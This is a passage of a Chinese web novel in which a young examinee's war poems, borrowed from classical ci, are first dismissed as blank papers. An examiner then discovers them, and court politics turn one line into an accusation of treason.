话音刚落,便引来一阵嗤笑。 一名身着青色襕衫的学子撇了撇嘴,声音里满是轻蔑。 “清河县?算了吧。” “他们县的案首就在我对面,开考才一炷香就收笔了,号舍里半点才气波动都无,不是乱写是什么?” “连案首都这副德性,其他考生又能好到哪里去?” 此人,正是卢璘号舍正对面那名安溪县考生。 他说话时,眼角余光正好瞥见排在队尾的卢璘,便用下巴朝着卢璘的方向点了点,低声对身旁的同伴说道。 “喏,就是那个小子。” 几名考生顺着他的视线望去,看到卢璘不过十二三岁的模样,也忍不住摇头轻笑。 “这么小?清河县今年是真的没人了。” “是啊,让他们来参加府试,简直是拉低了我们临安府的平均水准。” 卢璘听着这些议论,脸上平淡无波。 一点没有张口和这些人争论的想法。 与其费劲说服,不如留点精力准备下一场考题。 而且是骡子是马,等府试结果出来,一切自有分晓。 就在这时,一道身影从另一侧走了过来。 “璘哥儿!” 崔皓看到卢璘,脸上露出几分欣喜,快步走了过来。 “怎么在那边考场没见到你,咱们居然不在一个考场。” “我还以为另一个达府异象是你呢?” “听你这么说,看来其中一个达府是你咯?”卢璘笑问。 崔皓淡定地点头,并没有觉得写出达府之作是多么了不得的事。 在其他人面前还能装一装,眼前的卢璘可是在县试能写出传天下品级的文章。 在卢璘面前,达府之作可不够看! 没有在这个话题上纠结,崔皓话锋一转,说起了之前清河县学子上访一事。 “县试考完,家里长辈就不让我出门了,说是要静心温书。” “我也是昨天才知道上访那件事。” “你那个案首,当之无愧,哪容得那些小人质疑!” 卢璘只是淡笑,没有回应。 可周围的考生们却听到了崔皓的话。 “案首当之无愧?呵呵。” “清河县的考卷是有多简单,这种乱写一气的都能当案首。” “就是,这要是换我去清河县考,说不定案首就是我的了,反正有手就行。” 几人你一言我一语,肆无忌惮地附和着。 崔皓何曾受过这等阴阳怪气的嘲讽,脸色瞬间沉了下来,当即便要开口反驳。 卢璘却向他递去一个眼神,示意他稍安勿躁。 不远处的廊道上,几名衙役正来回巡视,见排队的学子动静有些大了,眼神严肃地扫了过来。 崔皓见状,也熄了和众人争论的心思。 憋着一口气,狠狠地瞪了那几名安溪县考生一眼。 ............ 半个时辰的休息时间,转瞬即逝。 卢璘回到自己的号舍,刚坐稳身子,钟鸣声便再次响彻考场。 “当!” 所有考生精神一振,齐齐抬头。 考场中央的半空中,金光再度汇聚,凝结成一行新的大字。 “反击还是坚守。” 第二道考题来了。 大字下方,一行行小字紧随其后。 你率领的残军,在孤城之中以悍不畏死的决心,成功击退了妖蛮大军的围攻。 妖蛮死伤惨重,士气大跌,朝后方溃退三百里。 此刻,你面临两个选择。 其一,继续困守孤城,救死扶伤,收拢残兵,等待朝廷的援军。 其二,统帅剩余部队,主动出击,趁其军心动摇之际,衔尾追杀,一举踏碎妖蛮主力。 题目一出,整个考场陷入了一片死寂,比第一场时还要安静。 不少考生看着半空中的字,眉头拧成了疙瘩,脸上满是困惑与凝重。 这哪里还是在考战诗词。 这分明是在考兵法韬略,在考临阵决断。 卢璘看着题目,同样陷入了沉思。 考官的用意是什么? 选择坚守,是最稳妥的办法。 己方兵力已是强弩之末,守住战果,等待援军,无疑是损失最小,也最符合常理的选择。 选择反击,则是一场豪赌。 赢了,便是泼天大功,一战定乾坤。 输了,便是全军覆没,万劫不复。 两种选择,代表着两种截然不同的思路。 一种求稳,一种求险。 一种是守成,一种是开拓。 这道题,恐怕没有那么简单。 卢璘的目光微微闪烁,一时也拿不准主意。 …… 与此同时,至公堂内。 十几名阅卷官刚刚用完午膳,正聚在一起,低声讨论着第二场的考题。 考题是礼部直发,他们也是和考生们同一时间才知道具体考题。 一位留着山羊胡的阅卷官放下茶杯,摇头感叹。 “这第二场的考题,可比往届要难上不少啊。” “往年府试,多是考些行军、斥候、或是鼓舞士气的战诗词,何曾有过这等直接涉及战局抉择的题目。” 身旁一位面容清瘦的阅卷官闻言,压低了声音,神秘兮兮地开口。 “你还不知道吧?” “这次府试的题目,是礼部与兵部联合出题,一同拟定的。” “据说是以前段时间,妖族围攻镇北城的那一战的场景模拟。” 此言一出,在场的几位阅卷官脸色都微微一变。 镇北城之战,他们有所耳闻,惨烈无比。 立刻有反应快的阅卷官,眼中闪过一丝明悟。 “这么说,这两种选择,其实代表的是两种不同的立场?” “选择坚守,便是主和。” “选择反击,便是主战。” 话音刚落,另一位身形微胖的阅卷官脸色微变,声音压得更低了。 “噤声!” “你们是忘了,当朝宴大人,不正是力主与妖蛮谈判,以求休养生息吗?” “这要是选了主战,岂不是公然与宴大人的政见相悖?” “学政大人可是宴大人一手提拔的门生,在学政大人的眼皮子底下唱反调,能有好成绩才是怪事。” 一番话,让在场众人心中一凛,后背渗出一层冷汗。 是啊。 这哪里是考题,这分明就是一道送命题。 “你又怎知,这不就是宴大人故意为之?”又有一位阅卷官幽幽开口,语气里满是无奈。 “提前筛选掉那些与自己政见不合的读书人,这等手段,那位大人又不是第一次用了。” “噤声!” 一直沉默不语的主考官,终于沉声开口,瞪了眼皮子底下肆无忌惮讨论的几人一眼。 “科举重地,岂容尔等妄议朝政,私下揣测上官心意!” 几名阅卷官被他一声呵斥,顿时噤若寒蝉,纷纷低头闭嘴,不敢再言语。 主考官看着他们那副模样,暗自摇了摇头,心中却是一声长叹。 首辅大人的威势,真是越来越大了。 连一场小小的府试,都要被影响。 这群考生,还没等踏入官场,就要被逼着站队,就要被筛选。 ............ 与此同时,甲字考场内。 简单思索后,卢璘很快做出了决定。 无论是坚守,还是主动出击,这两种选择,他都有明确的思路。 既如此,何不遵循本心。 困守孤城,被动地等着妖蛮休养后再度侵袭,不是卢璘的性子。 卢璘更愿意激进冒险,主动出击,把局势掌握在自己手中。 想通了关窍,卢璘蘸墨提笔,才气透出笔尖,在纸上写下了四个字。 “怒发冲冠....” 第79章 弃将 第二场的才气消耗,远没有第一场那般剧烈。 但收笔之时,体内才气也去了七七八八。 卢璘靠在椅背上,仔细地检查考卷,同时缓慢回复才气。 确定考卷没有问题后,卢璘又静坐片刻,待呼吸平复,才气恢复到接近一半的状态,这才拉响了麻绳。 很快,又是那两名吏员出现在号舍门口。 “又是你?” “何事?” “交卷。” 卢璘淡淡开口。 两名吏员对视一眼,都从眼中看到了彼此的笑意。 这小子是彻底放弃了? 每一场都乱写一通,第一个交卷。 两人不再多言,例行公事地走上前,将考卷糊名、收走。 “还是那个规矩,不要打扰其他考生。” 再重复一遍规矩,收走文具后,两人转身离去。 卢璘并不在意,靠在墙上,继续闭目养神。 ............ 临近傍晚。 “当!” 钟声响起,半空中,最后一道考题缓缓浮现。 卢璘缓缓睁开眼,看到了半空中映着的考题。 “弃将。” 仅仅两个字,卢璘却从中读出一股悲凉和沉重。 下方是具体场景描述。 你趁妖蛮休整,亲率三千死士夜袭敌营,火烧辎重,阵斩妖王左翼大帅,妖蛮军心溃散,溃退百里。 再有三日,可一战灭其主力! 这时,大夏和谈使携圣旨入营,勒令停战。 称妖蛮愿和谈,杀戮有伤天和,但提出条件,交出主将首级,否则边境永无宁日。 朝廷主和派答应妖蛮条件,你和孤城将士们被当做弃子,陷入妖蛮包围。 你的选择: 一、饮下御赐鸩酒,以证忠心。 二、率剩余孤军,杀出一条血路。 考题一出,满场哗然。 不少考生直接从座位上站了起来。 这算什么考题! 前方将士浴血奋战,朝堂诸公却在背后递刀子! 何其荒唐! 何其憋屈! 卢璘看着考题,脸色淡定如常,毫不意外。 下场之前,夫子就给他模拟过童试的考题。 不得不说,到底是读书人的世界,科举之道发展到了极致。 不是单纯考学问,同时考决策,考心性,甚至考你身处绝境时的风骨。 看着考题,卢璘暗自摇头,上一场,自己才刚刚写下怒发冲冠。 这第三场,便让他直面与岳武穆一般的困境。 那其他第二场选择主和的考生呢? 出题人到底想要什么样的回答? 卢璘皱起了眉头,开始揣测出题人的真正用意。 一番思索后,卢璘很快明悉宗义。 不管考题场景怎么变,但有一套是不变的。 根子依旧是儒家那套君君臣臣的纲常伦理。 万变不离其宗。 选择饮鸩自尽,是忠,是顺从,是读书人最推崇的杀身成仁。 选择杀出重围,是叛,是反抗,是绝境之下的读书人的风骨。 卢璘缓缓吐出一口浊气,思索过后,提起笔,饱蘸浓墨。 才气自体内涌出,顺着笔杆,汇于笔尖。 笔锋落下。 墨迹在宣纸上晕开,一行行铁画银钩的字迹,随之浮现。 当写到最后一句时,卢璘体内的才气,几乎燃烧到了极致。 “报君黄金台上意....” ........... 一直到临近深夜,临安府府试院沉重的朱漆大门才缓缓打开。 考生们如同潮水般,从院内涌出。 一日三场考题下来,尽管每个人的脸上都有些疲惫,但却神色各异。 有人步履轻快,眉宇间带着一丝自得,显然对自己的发挥颇为满意。 更多的人则是愁眉苦脸,三五成群地聚在一起,低声议论着。 “这次的考题,未免也太刁钻了。” “是啊,尤其是第三场,那叫什么题目!” 一个考生压低了声音,语气里满是愤懑。 “我选了主动出击,眼看就要踏碎妖蛮主力,一战定乾坤了,结果等来的是朝堂诸公背后捅来的一刀。” “还好只是场景模拟,不然我非得当场气死不可!” 身旁几个同样选择了主动出击的考生闻言感同身受,立马开口附和: “看到那题就反恶心,是人出的吗?” “我听说,这次是兵部和礼部联合出题,以镇北城那一战为模拟。” “这就是当初镇北城主将面临的绝境,也不知他最后是如何选的。” “何将军都被撸了,显然是处理得不好呗?” 人群中,一个消息灵通的考生,悄悄凑了过来,声音压得更低。 “何将军还只是丢了乌纱帽,可他的偏将庞将军……现在好像被关在诏狱里了。” 诏狱。 这两个字一出,周围的空气瞬间安静了许多。 “什么?” “庞将军都被关进诏狱了?那……那岂不是……” 后面的话,他没敢说出口。 诏狱的恶名,连他们这些一心只读圣贤书的学子都有所耳闻。 进去的人,无论有罪没罪,不死也要脱层皮。 “庞将军可是我大夏的脊梁,若非文位不够,镇北城的主将怎么轮得到别人,朝廷怎么能……” “嘘!” 旁边立刻有人拉住了他,紧张地四下张望。 “噤声!我们功名未定,妄议朝政,是想惹祸上身吗?” 众人顿时噤若寒蝉,不敢再多言。 这时,卢璘从人群中缓缓走出,一眼便看到了正等在不远处的少爷。 少爷一见卢璘出来,立刻迎了上去,上下打量着他,开口调侃。 “我看那些考生一个个都跟霜打了的茄子似的,看来这次考题不简单啊。” “璘哥儿,你怎么样?” “正常发挥。”卢璘淡淡地回了一句。 少爷见他脸上虽有疲色,但精神尚可,便放下心来。 他很自然地从卢璘手中接过行囊,背在了自己身上。 两人并肩走在回别院的路上。 夜色已深,街上行人稀少,只有巡夜更夫的梆子声,偶尔在巷道里回响。 “刚才我听先出来的考生说庞将军被关进诏狱了。” 少爷还是有脑子的,知道马上到家了,才敢和卢璘提起这事。 卢璘闻言微微一顿,眉头不自觉地皱了起来。 庞将军? 庞将军,全名庞盛,这个名字卢璘在夫子口中听过不止一次。 夫子每每提起此人,都忍不住感叹,这是大夏最有血性的男人。 常年镇守北疆,直面妖族,为大夏立下赫赫战功。 这样一位军方大将,怎么会被关进诏狱? “听说,你们这次的考题,就和庞将军有关。”少爷见他神色凝重,补充了一句。 “也是刚才听那几个考生闲聊时说的,真假不知。” “回去问问夫子吧。” 第80章 阅卷 与此同时,至公堂内,时至深夜仍旧灯火通明。 十余名阅卷官正埋首于堆积如山的考卷之中,神情专注。 临安府下辖十数个县,上千份考卷,都必须在短短两日之内批阅完毕,时间紧迫,容不得半点懈怠。 堂内只听得见笔尖划过纸张的沙沙声,还有偶尔翻动卷宗的轻响。 就在这时,一阵沉稳的脚步声从殿外传来。 两道身影一前一后地走进至公堂。 其中一人大家都不陌生,是学政手下的提学佥事,正五品官职,负责协助学政处理一省文教事宜。 而另一人身着青绿色官袍,头戴梁冠,手中拿着一卷文书。 所有阅卷官的动作,不约而同地停了下来,齐刷刷地抬头望去。 提学佥事见状,看出了大家的疑惑,主动开口向众人介绍来者身份。 “这是礼部陈大人,专程从京都而来,带来了内阁手谕。” 主考官闻言,也放下手中的朱笔,缓缓起身,眉头微不可查地一蹙。 “陈大人所来何事?” 礼部陈大人径直走到堂中,对主考官躬身行礼,而后展开手中文书,沉声开口: “奉首辅大人钧令。” “本次府试,凡评定为出县及以上品级的考卷,皆需誊抄一份,火速送往内阁。” 此言一出,满堂皆惊。 主考官脸上的疑惑之色更浓。 区区一场府试,即便有佳作出世,按例也只需上报礼部即可,何曾有过直达内阁的先例。 陈大人不紧不慢地收起文书,开口解释道。 “诸位不必惊慌,此事并非只在我临安府一地。” “我大夏三京二十六府,皆是如此。” 听到这话,主考官瞬间想通了其中关窍。 看来,朝堂诸公对于庞将军一案的处置,争论不休,已到了白热化的地步。 主战与主和两派,谁也说服不了谁。 就连圣上,一时间也难以做出决断。 这才想出了这么个法子,听一听天下士子的声音。 以科举为棋盘,以万千学子为棋子,来窥探这天下民心所向。 想通了这一层,主考官心中再无疑惑,他抬起头,看向眼前的陈大人,语气平静。 “既是圣意,我等自当遵从。” “只是科举重地,闲人免入,誊抄之事,我自会安排妥当。” “有劳陈大人跑这一趟,您先回去休息吧。” 这话已经说得很明白了,是委婉的逐客令,不想让外人干扰阅卷的公正。 可陈大人闻言却只是笑了笑,脚下如同生了根一般,没有半分要走的意思。 “主考大人言重了。” “下官奉命而来,自当在此监督,以防誊抄之时,出现任何疏漏错谬。” “诸位大人阅你们的卷,我只在此旁观,绝不打扰。” 他嘴上说得客气,可眼睛却在殿内四下扫视,分明是要亲自坐镇,盯着整个阅卷过程。 毕竟是要送达内阁,甚至直达圣听的考卷,可不能出半点纰漏。 谁知道临安府会不会趁机夹带私货,弄出点什么污言秽语脏了圣上的眼睛。 主考官见状,心中冷哼一声,却也不好再多说什么。 他转过身,对着堂内一众阅卷官挥了挥手。 “继续阅卷。” 批阅再次开始,只是堂内的气氛,却比先前凝重了许多。 阅卷官们先从右侧桌案上,那一小堆早已分拣出来的考卷开始。 这些都是在考试之时,便引动了异象,或是才气波动极为剧烈的优等之作。 一位阅卷官展开一份卷宗,只看了几句,便忍不住抚掌赞叹。 “好一个‘丈夫只手把吴钩,意气高于百尺楼’,有此等豪情,难怪能引动达府异象。” 说着,他将考卷递给身旁的同僚。 众人轮流传阅,皆是点头称赞。 “不错,此子心性、才气,皆为上上之选,当为甲等。” 很快,另一位阅卷官也发出一声惊叹。 “我这里也有一份,立意同样不凡。” “‘报国之心,死而后已’,虽稍显直白,却也字字泣血,忠勇可嘉。” “此次府试,竟有三份达府之作,实乃我临安府文风鼎盛之兆啊。” 主考官听着众人的议论,脸上也露出一丝笑意,心中的沉重稍稍减轻了些许。 无论朝堂如何风云变幻,只要大夏的读书人,依旧有这等风骨与才情,那便是国之幸事。 ........... 阅卷的工作,从府试结束的当晚,一直持续到了第二天傍晚。 整整一天一夜。 十余名阅卷官不眠不休,一张张考卷在他们手中流转,判定,评分。 每个人的脸上都挂着浓重的疲惫,眼眶深陷,布满了血丝。 终于,随着最后一份考卷被批阅完毕。 一位年长的阅卷官长长地吐出一口浊气,从堆积如山的卷宗后抬起头,起身走到主考官桌前。 “大人,本次府试,实收考卷九百七十三份。” 他顿了顿,拿起一份汇总好的名录,继续说道。 “此次府试,评定为出县品级的战诗词,共计三十七首。” “达府之作,三首。” 主考官闻言,疲惫的脸上露出一丝欣慰。 他缓缓点头,转头看向一旁始终枯坐的陈大人。 “陈大人,您也在此地坐镇了一天一夜,这些考卷的评定,您都亲眼看着,结果如何?” 陈大人站起身,脸带笑容,对着主考官与一众阅卷官拱了拱手。 “临安府不愧是我大夏龙兴之地,文风鼎盛,一场府试便能涌现出三首达府之作,实乃可喜可贺。” “只是内阁那边催得紧,还要劳烦诸位大人,将这四十份优等考卷誊抄出来,下官也好尽快回京复命。” 主考官心中了然,没有在这种小事上为难,当即便安排了堂内几位字迹最为工整的吏员,开始誊抄这四十份考卷。 同时,也让人去准备此次府试放榜的一应事宜。 誊抄的过程枯燥漫长。 陈大人百无聊赖地在堂内踱步,目光不经意间,落在了角落的一张桌案上。 那上面还放着一小摞考卷,没有半点被打开过的痕迹。 他有些好奇,随口问道。 “主考大人,那边是怎么回事?” “为何还有考卷没有批阅?” 主考官头也未抬,一边核对着誊抄的稿件,一边解释道。 “那些都是废卷。” “收卷时便已查过,毫无才气波动,想来是考生觉得考题太难,胡乱涂鸦之作,不必在上面浪费心神。” 陈大人闻言,点了点头。 他虽无阅卷的经验,但也知道其中的潜规则。 只是眼下实在无聊,看看这些胡乱之作,打发打发时间倒也不错。 “不知下官能否看上一两份?” “自无不可,大人请便。”主考官随口应道。 陈大人信步走到桌案前,随手拿起最上面的一张考卷。 展开一看,只扫了一眼,便忍不住嗤笑出声。 “这写的都是些什么东西,狗屁不通。” “这种人,当初的县试是如何通过的?” 主考官闻言,开口解释。 “学子之中,确有偏科之人,或许精于四书五经,于战诗词一道却一窍不通,倒也常见。” 陈大人不置可否地点了点头,又拿起下面一张。 看了几眼,依旧是些不堪入目的胡乱之作,顿时没了兴致。 他将考卷扔回桌上,正准备转身离开。 目光一瞥,却见桌上只剩下了最后三张考卷。 陈大人心里没来由地泛起一股念头,干脆全都看完算了。 他强压下心中的不耐,又拿起一张考卷。 当他打开新入手的这张考卷,目光随意地扫了过去。 只一眼。 开篇的第一句诗,映入眼中,陈大人当场愣在原地。 “醉里挑灯看剑.....” 第81章 《破阵子》 “醉里挑灯看剑....” 仅仅六个字,却好似利剑出鞘,一股冰冷刺骨的锋锐之气,透过纸张,扑面而来。 陈大人只觉得眼前一花,眼前的场景瞬间变幻。 从灯火通明的至公堂拉到了一座孤寂的营帐中。 眼前,摇曳的油灯下,一个鬓发微霜的将军,醉眼朦胧下,一遍遍擦拭着自己心爱的佩剑。 剑身之上映出将军略带疲惫的脸,可眼中却是金戈铁马,气吞万里如虎。 看到这一幕,陈大人的呼吸不自觉地屏住了。 一行行字迹,继续在他眼中展开。 “梦回吹角连营。” 呜! 营帐外,一声苍凉悠远的号角声响起。 下一刻,场景继续变幻。 无边无际、连绵不绝的军营,旌旗如林,在朔风中猎猎作响。 这一次,陈大人不再是旁观者。 他成了这军营中的一员,一个满身征尘的老卒,正靠在斑驳城墙上,和其他老兵一般等候命令。 “八百里分麾下炙,五十弦翻塞外声。” 下一刻,场景再变。 冲天篝火燃起,驱散了边关苦寒。 大块的烤肉在火上滋滋作响,浓郁的香气混杂着烈酒的味道,直往鼻子里钻。 豪迈的塞外之音奏响,雄浑激昂,士卒们大口吃肉,大碗喝酒,放声高歌。 陈大人只觉得胸中一股热血轰然上涌,恨不得立刻提枪上马,与袍泽们一同驰骋沙场,建功立业。 这便是战场,这便是沙场豪情。 整个人都沉浸在这种酣畅淋漓的氛围之中,直到了最后一句,映入眼眶。 “可怜白发生!” 轰。 闷雷在陈大人脑中炸响。 所有的豪情壮志,所有的金戈铁马,都在这五个字面前,轰然崩塌。 一种英雄末路,壮志未酬的无尽悲凉从陈大人心底涌起。 这是一种明知此去无回,却依旧执剑前行的决绝。 更是读书人以身殉道,知其不可为而为之的千古风骨。 陈大人手里的试卷,飘然落地。 整个人像是被抽走了魂魄,呆呆地立在原地,双目失神,久久不能言语。 心神,还完全沉浸在方才那首《破阵子》所营造出的惨烈悲壮之中。 不远处的案桌前,主考官吴连深正一丝不苟地核对着誊抄好的考卷,确保没有错漏。 检查完最后一份考卷后,吴连深口中吐出一口浊气,揉了揉酸涩的眼,活动了一下僵硬的脖颈。 做完了这些后,吴连深一抬眼,便看到了不远处呆若木鸡的陈大人。 吴连深有些疑惑。 陈大人从刚才开始,就一直保持着那个姿势,一动不动,怎么会这么久? 难不成,是被那些学子胡编乱造的歪诗给气傻了? 不能够啊。 之前也看了两份废卷,显然是有了心理准备的。 吴连深心中不解,但也没多想。 他拿起誊抄好的四十份优等考卷,走到陈大人面前。 “陈大人,考卷已经……” 话未说完,原本如同木雕泥塑的陈大人,突然浑身一震,像是猛地从梦中惊醒。 他猛地转过头,双眼通红,布满血丝,死死地抓住吴连深的胳膊,满脸激动。 “明珠蒙尘!” “明珠蒙尘啊!” “此等足以鸣州的战诗词,你们……你们为何不阅!” 陈大人胸膛剧烈起伏,回过神后,脑袋里不断思索。 能把自己从现实拉入虚幻场景,不是鸣州级别是什么? 甚至有可能是鸣州以上。 可这等考卷,却被临安府视若废卷,临安府此举有何深意? 要说临安府众人不知道这张考卷,陈大人打心底里不信。 可为何不准备送往内阁?? 这不是摆在眼前的文教政绩吗? 难不成魏大人被临安府同僚排挤? 掌控不了临安府的局面? 一连串的疑惑在陈大人脑子里。 吴连深被陈大人这突如其来的举动给吓到了。 堂内其余的阅卷官们,也被这声嘶吼惊动,齐刷刷地望了过来。 看着陈大人那副几近癫狂的模样,所有人的心中,都冒出了同一个念头。 这陈大人莫不是被内阁和礼部那边给的压力逼疯了? 魔怔了? 明明是废卷,怎么可能是什么鸣州之作? 一场小小的府试,能出三首达府之作,便已是数十年难得一见的盛况。 怎么可能,还会出现品级更高的鸣州战词? 更何况,还是在这堆他们看都懒得看的废卷之中。 吴连深也是同样的想法,半信半疑地弯下腰,捡起了那张掉落在地的考卷,凑到眼前。 和陈大人的反应差不多。 吴连深看到这首破阵子的第一句,脸上的神情瞬间凝固。 随后瞳孔骤然收缩。 堂内其余的阅卷官们,也被突然沉默的吴大人给惊动,齐刷刷地望了过来。 陈大人那副癫狂模样,他们可以不信。 可吴大人此次府试主考官。 他的反应做不得假。 难道.... 这堆他们视若敝屣的废卷之中,当真藏着什么惊世之作? 几位阅卷官按捺不住心中的好奇,相互对视一眼,不约而同地起身,快步围了过来。 众人凑到吴连深身旁,目光齐齐汇聚在那张单薄的稿纸上。 最先映入眼帘的,是三个铁画银钩,力透纸背的大字。 《破阵子》 仅仅三个字,便带着一股金戈铁马的杀伐之气,扑面而来。 这等字迹,风骨天成,已然登堂入室,隐隐有大家风范。 若非浸淫书法之道数十年,绝难有此气象。 至公堂内,一时间鸦雀无声。 只有一众阅卷官们此起彼伏的叹气声。 第82章 乱臣贼子! 良久。 最后一位看完的阅卷官从《破阵子》的场景拉回现实,忍不住感叹: “此等作品,至少是鸣州级别。” “是啊,竟能将我等心神直接拉入诗中场景,这……这确实是鸣州之作才有的异象。” 至公堂内,其余阅卷官们纷纷点头附和,显然每个人都经历了那场幻境。 又一位阅卷官忍不住开口点评,眼中满是赞叹: “此诗的解法,当真另辟蹊径,跳出了窠臼。” “考题要求,是激发士卒死志,引动天地异象,可它并未流于俗套,反而以醉态起笔,借挑灯看剑,写报国之心,显决死之志。” “以醉写斗志,而非颓靡,反而衬托出悲壮。” “妙,当真是妙绝!” 其余阅卷官闻言,皆是深以为然。 “说得对,常规的思路,无非是写壮士一去兮不复还的决绝,方才那三首达府之作,走的也都是这个路子。” “可此词,却反其道而行,于战前写孤独,于暴风雨来临前写宁静,那种山雨欲来的窒息感,反而更能反衬出那股滔天的战意。” “真正的决死之心,从来都不需要呐喊。” 又一位阅卷官点头,开口补充道。 “我方才试着以才气激发,此词的异象,远不止一处!” “‘挑灯看剑’,可在夜间强化士卒兵刃,更能使其获得夜视之能。” “‘马作的卢飞快,弓如霹雳弦惊’,更是能直接提升骑兵与弓兵的战力。” “此词,至少有四重异象加持,这在鸣州战词之中,也属上上之品,若是传唱得广,得军中煞气蕴养,日后未必没有晋升镇国之阶的可能!” 标准的鸣州战词,能引动两到三重异象,便已是难得。 而这首《破阵子》,竟有足足四重异象。 这已是鸣州战词中的顶尖之作。 这时,吴连深也终于从冲击中回过神来。 他长长地吐出一口浊气,眼中满是庆幸。 “此词文采风骨皆为上乘,气魄胸襟更是直追中古霸王。” “以武将的视角,写出了文人的风骨,不虚美,不隐痛。” “若非真正在边塞苦寒之地走过一遭,饮过冰,卧过雪,如何能写得出此等字字泣血的佳作。” 点评完后,吴连深话锋一转,皱着眉头扫视全场,声音骤然冷了下来。 “可此等惊世之作,为何会出现在废卷之中?” “你们当中可有谁,曾看过这份考卷?” 他心中还有一句话没有问出口。 到底是当真没看到,还是看过了,却装作没看到? 这究竟是无心之失,还是有人在故意隐藏? 这话明面上是问责堂内众人,实则更是说给一旁的陈大人听的。 此事若是单纯的遗漏,那只是临安府阅卷官们能力不足,识人不明。 可若是被人觉得是故意隐藏,那性质可就严重得多了,那是态度问题。 是公然与内阁的意志相悖,明着唱反调。 吴连深之所以发问,就是要摆脱这个嫌疑,以当朝首辅如今权倾天下的威势,哪怕被认责为庸官,丢了脑袋上的乌纱帽。 也比站在宴大人的对立面,丢了脑袋来得强。 陈大人闻言心里冷笑一声,吴连深的意思,作为一个浸淫官场数十年的人,怎么可能听不出。 要是自己没有闲来无事,手痒翻了翻这堆所谓的废卷。 恐怕这会儿,府试的榜单都已经刻好了。 刻意隐藏这等佳作,到底是为何? 难不成真如自己所想,学政魏长青掌控不了临安府? 心里满是疑问的陈大人,皮笑肉不笑开口道: “既然发现了一张例外。” “那便劳烦诸位,把这剩下的废卷,再重新仔细看一遍吧。” “最好是意外。” “如果不是意外……” “呵呵呵。” 陈大人的话没有说完。 可阴冷笑声,却给了吴连深极大的压力。 额角冷汗一下就冒了出来。 虽然陈大人官职品级不过正四品,文位也低于吴连深,可他代表的不是个人,而是礼部和内阁。 真要被礼部和内阁给盯上了,自己这乌纱帽能不能保不说,恐怕连性命都不在掌握。 强撑着镇定,吴连深对着堂内一众早已面无人色的阅卷官,厉声喝道: “都还愣着做什么!” “把所有废卷,全部重新批阅,一个字都不能漏!” 陈大人没有理会这边乱作一团的景象。 他弯下腰,从桌上又拿起了第二张卷子。 正是压在《破阵子》下面的那一份。 翻开一看,字迹与上一张别无二致,铁画银钩,风骨天成。 明显是出自同一名考生之手。 陈大人心里顿时更加期待。 能写出《破阵子》的考生,在第二场抉择之中,又会如何作答? 当他看到考卷上的内容,眼中惊喜之色更浓。 “怒发冲冠,凭栏处、妖氛未歇。” 好! 好一个怒发冲冠! 起笔便有雷霆之势,将那股滔天的怒意和不甘,宣泄得淋漓尽致。 光看到第一句,陈大人就有感觉,这第二首词,起码也是鸣州级别。 带着这份期待,陈大人继续往下看。 “抬望眼、血染长戈,孤城如铁。” “壮志饥餐妖虏肉,笑谈渴饮蛮酋血。” 看到此处,陈大人只觉得一股热血直冲头顶。 胸中那股报国杀敌的豪情,被彻底点燃。 同时更加坚定了心中的判断。 明珠蒙尘! 绝对是天大的冤案! 第二场选择主动出击,写得如此慷慨激昂,字字泣血,竟也被当成了废卷! 临安府这潭水,到底有多深! 陈大人本以为会收获更多的惊喜,可当他将目光移到最后一句时,整个人都愣住了。 “待从头、收拾旧山河,朝天阙!” 收拾旧山河? 朝天阙? 陈大人脸上的激赏之色,瞬间凝固。 什么叫旧山河? 我大夏朝正当盛世,当今圣上励精图治,百业具兴,什么叫旧山河? 哪门子的旧山河,轮得到你来收拾? 还有最后三个字,朝天阙? 朝什么天阙? 这一句表达出的意思,陈大人看到这里焉能不明白? 下一秒,一股怒火从心底涌起。 陈大人双目圆瞪,死死地盯着那最后三个字,气得浑身发抖,咬牙切齿地吼了出来。 “乱臣贼子!乱臣贼子啊!” “居然写出这等反诗,其罪当诛!” 一声暴喝,响彻整个至公堂。 看完了第二张考卷,陈大人终于想通了其中的关节。 终于明白为何那首鸣州级别的《破阵子》,会被当成废卷,弃如敝履。 也终于明白,为何吴连深这些人,在看到那首词后,会露出那般浮夸的震惊和惋惜。 全都特娘的是逢场作戏! 全都是演给自己看的。 这是从头到尾把自己当傻子,把内阁和礼部当傻子啊! 他们早就看过了这份考卷! 他们早就知道,这第二首词,是一首不折不扣的反诗! 所以,他们才不敢将这份考卷呈报上去,甚至连带着将第一首词也藏匿起来。 就是怕被牵连! 怕脏了内阁诸公的眼,更怕脏了圣上的眼啊! 第83章 清河卢璘 陈大人一声嘶吼,惊得堂内所有阅卷官都停下了手中的笔。 众人齐刷刷地望了过来,脸上满是惊愕不解。 陈大人这是怎么了,前脚不还是自语说又是一首鸣州佳作,怎么又成反诗了? 吴连深闻言,更是眉头一皱。 反诗? 怎么可能是反诗? 能写出《破阵子》那等鸣州绝唱的考生,风骨气魄何等卓绝,怎么会写出反诗? 吴连深哪里知道陈大人心中已经脑补出了一场大戏,看着陈大人那要吃人的眼神,硬着头皮迎了上去。 “陈大人,这……这里面是不是有什么误会?” 陈大人闻言气极反笑,一把将那张考卷甩在吴连深面前的桌案上。 “本官还没有瞎到这个地步!” “你们自己看!” 一位离得近的阅卷官,按捺不住心中的好奇,快步上前,捡起了那张考卷。 他定睛一看,将上面的词句一字一句地念了出来。 “怒发冲冠凭栏处、妖氛未歇。” 念出第一句,吴连深和一众阅卷官都暗自松了口气。 起笔有雷霆万钧之势,豪情万丈,并无不妥。 那阅卷官继续念道。 “抬望眼、血染长戈,孤城如铁。” “壮志饥餐妖虏肉,笑谈渴饮蛮酋血。” 念到此处,堂内众人皆觉得热血上涌,并无不妥之处,尽是保家卫国,与妖蛮不共戴天之志。 此乃是大忠大勇之词,何来反诗一说? 可当那阅卷官念到最后一句时,声音却戛然而止。 他双眼圆睁,盯着纸上的最后三个字,嘴唇哆哆嗦嗦的,半晌口中吐不出一个字。 吴连深心中升起一股不祥的预感,他一把夺过考卷,目光落在了最后。 “待从头、收拾旧山河,朝天阙!” 话音刚落,至公堂内,瞬间死寂。 所有阅卷官听到这最后一句,齐齐发愣。 收拾旧山河? 朝天阙? 这名考生何许人也,胆子也太大了! 当今大夏正值盛世,国泰民安,江山稳固,哪来的旧山河? 说要收拾旧山河,难不成是想说当今圣上的江山是旧的,要取而代之? 还有那朝天阙,他要朝哪个天阙? 这已经不是在暗示了,这简直就是将反意写在了脸上! 吴连深只觉得手里的考卷,此刻重得有些压手,额角不知道什么时候留下了冷汗。 完了。 临安府府试,出了这等惊天动地的反诗。 自己作为主考官,难辞其咎,这顶乌纱帽怕是保不住了,能不能保住项上人头,都得看造化。 不行! 绝不能就这么被牵连进去! 吴连深强压下心中情绪,脑中念头飞转,几乎是瞬间便想好了说辞。 